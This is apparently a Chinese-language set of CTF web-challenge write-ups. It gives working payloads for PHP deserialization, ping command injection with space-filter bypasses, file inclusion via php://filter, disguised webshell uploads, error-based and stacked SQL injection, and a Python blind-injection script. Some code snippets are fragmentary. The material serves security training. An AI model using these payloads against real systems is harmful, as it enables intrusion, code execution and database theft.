$xkey='xxxxxxx'; #don't tell you.
class Neo{
public $cmd;
public $key;
function __construct($cmd,$key){
$this->cmd=$cmd;
$this->key=$key;
}
function __wakeup(){
$this->run();
}
function run(){
$this->waf();
global $xkey;
if ($this->key === $xkey){
system($this->cmd);
}
}
function waf(){
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($this->cmd,$value)){
die("Attack!");
}
}
}
}
分析一遍可得,要另key=xkey,并且cmd不能出现空格或cat
不过经过我的测试,也可以cat
$a='cat;
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($a,$value)){
die("Attack!");
}
else{
die('hello');
}
}
?>
因为反序列化自动调用__wakeup,所以只用赋值即可,最后是system包含
payload:
$xkey='xxxxxxx'; #don't tell you.
class Neo{
public $cmd;
public $key;
function __construct($cmd,$key){
$this->cmd=$cmd;
$this->key=$key;
}
function __wakeup(){
$this->run();
}
function run(){
$this->waf();
global $xkey;
if ($this->key === $xkey){
system($this->cmd);
// die("hi");
}
}
function waf(){
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($this->cmd,$value)){
die("Attack!");
}
}
}
}
$aaa=new Neo('tac,'xxxxxxx');
echo urlencode(serialize($aaa));
?>
记录我出现的问题
有构造方法就要传参
$aaa=new Neo('tackey='xxxxxxx';
$aaa->cmd='tac
打开后发现要传ip,想到ping
命令,先尝试传入127.1.1.1
但是当我们打开flag.php时,发现
/?ip= fxck your space!
说明空格过滤。但是当我们绕过空格时,发现<,%09,$IFS
都不起作用
解析没结束
,会把后面的也当做参数解析,而 $IFS$9的话,结束了 $IFS 后加上了一个不存在或者说空字符串
的变量。所以解析为空,但结束了 $IFS
正常执行后面的内容总结:
我们做ping命令执行要考虑各种过滤
有没有回显可以翻翻源代码
给了个网站,说里面有备份文件,试试www.zip,下载一个压缩包
里面有源码,那我们来看看题
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
我们发现,实际只要username=admin并且password=100就行。那么我们构造payloud试试
class Name{
private $username;
private $password;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$aaa=new Name('admin',100);
echo serialize($aaa);
?>
得到序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
这里有个小技巧
绕过__wakeup,改大属性个数
属性是private私有,类名和属性名前面%00截断。
或者进行urlencode编码,就不用考虑私有公有属性,就不用考虑截断
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
用蚁剑连接,测试,最后在跟目录找到
藏得很深,光看左边目录都找不到
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
进行文件包含
http://0e5fa25b-58a3-4257-bd0b-83de70dcdffc.node4.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
考点 ping命令执行
127.0.0.1;ls
127.0.0.1;ls /
127.0.0.1;cat /flag
过滤了
上传这个一句话木马
这里看到要上传图片,那就抓包改回来。记得文件头写进去伪装
添加GIF89a
上传成功,在upload里面进行寻找
成功找到,蚁剑连接。虽然能连接成功,但是图片无法解析,那我们看看其他能上传的文件后缀
提交又出现no image
这里改成image/jpeg
跟上一题好像
先传了一个jpg,能传上去但解析不了,然后把jpg改成phtml(抓包后改)。最后用蚁剑连接即可
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格
:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
用chr(47)代替/
打开calc.php
payload
/calc.php? num=var_dump(scandir(chr(47)))
/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
用.相连各个字符
扫描目录,出来index.php.bak
看到源码
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
弱比较
payload
http://59e51db6-4c15-4c24-8472-1d482344f514.node4.buuoj.cn:81/index.php/?key=123
intval:用于指定类型的进制转换,一般转为十进制
看题目
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
-->
我们传入money=100000000,password传入404a绕过is_numeric
抓个包
这里改1
明显1000000000太长了,改为1e9,得到flag
看源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
payload
GET ?id[]=1&gg[]=2
POST passwd=1234567a
考点:更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。
开始写一个.htaccess文件,里面的内容为:
SetHandler application/x-httpd-php
GIF89a
用蚁剑连接upload及以后,测试成功
没有提示,就先抓个包
在这里看到了提示
可以发现md5函数第二个参数为true的时候是原始16字符二进制格式
ffifdyop
在经过执行md5(ffifdyop,true)
后会返回'or'6
select * from 'admin' where password=' 'or '6'
后面就比较简单,一个强比较,一个弱比较
看大佬文章
这里使用报错注入并且过滤了and,空格,=,
and用or代替
,
空格用()代替
,
=用like代替
复习报错注入
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
payload
check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1))%23&password=1
只出了一半
flag{f5f0ba36-6a89-406b-aa12-4e6-6a89-406b-aa12-4e10c2146c1e}
用left().right()语句拼接
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
堆叠注入知识
1';show tables;#
1';show columns from `FlagHere` ;#
1';select * from table#
都被ban了
发现需要使用到mysql查询语句-handler
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
随即构造新的payload:
1';handler FlagHere open;handler FlagHere read first;#
掌握新的姿势通过爆破去看sql哪些关键字被ban
发现绝大多数都被过滤了
import requests
import time
url = 'http://3064fbef-d9ed-4644-9f64-5d5fe788f05f.node4.buuoj.cn:81/index.php'
flag = ''
# 设flag的最大长度在50内,for遍历到 i 来拼接
for i in range(0, 50):
max = 127
min = 0
# 遍历所有的Ascii
for c in range(0, 127):
# 二分法查找
s = int((max + min) / 2)
payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
request = requests.post(url, data={'id': payload})
# 加点延时,buu不能太快请求
time.sleep(0.5)
if 'Hello' in str(request.content):
max = s
else:
min = s
if (max - min) <= 1:
# 匹配成功,使用chr()来转回ascii字符
flag += chr(max-1)
print(flag)
break
print(flag)
# 题目是输入1有正确回显,输入0就会给错误回显
空格过滤,用()代替
str
函数是Python的内置函数,它将参数转换成字符串类型,即人适合阅读的形式
。